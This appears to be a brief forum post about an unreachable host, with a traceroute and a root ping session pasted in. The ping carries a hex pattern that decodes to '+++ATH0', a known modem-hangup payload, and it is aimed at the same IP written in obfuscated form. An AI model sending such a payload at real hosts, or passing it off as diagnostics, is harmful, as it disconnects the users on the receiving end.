IP-based doesn't seem to work neither!
looks like there is some down redbacks and backbones:
traceroute to 64.176.13.47 (64.176.13.47), 30 hops max, 40 byte packets
1 cisco.usms.com (64.214.105.1) 5.254 ms 2.242 ms 3.372 ms
2 s3-0-0-16-0.ar1.SFO1.gblx.net (204.246.203.225) 10.386 ms 8.540 ms 17.417 ms
3 pos2-0-155M.cr2.SFO1.gblx.net (206.132.110.137) 18.091 ms 17.762 ms 8.944 ms
4 pos2-0-622M.cr1.PHI1.gblx.net (206.132.111.98) 86.908 ms 81.155 ms 89.504 ms
5 pos0-0-0-155M.ar1.PHI1.gblx.net (206.132.118.210) 83.085 ms 82.018 ms 90.891 ms
6 Alabanza.pos12-0-0.ar1.PHI1.gblx.net (208.49.224.94) 84.174 ms 106.651 ms 104.445 ms
7 * * 208.49.89.17 (208.49.89.17) 3986.438 ms !H
8 * * *
9 *
[root@ns /root]# ping -c 5 -p 2B2B2B41544830D 0x40.0xB00D2F
PATTERN: 0x2b2b2b415448300d
PING 0x40.0xB00D2F (64.176.13.47): 56 data bytes
--- 0x40.0xB00D2F ping statistics ---
4 packets transmitted, 0 packets received, 100% packet loss
good'ol ISP's!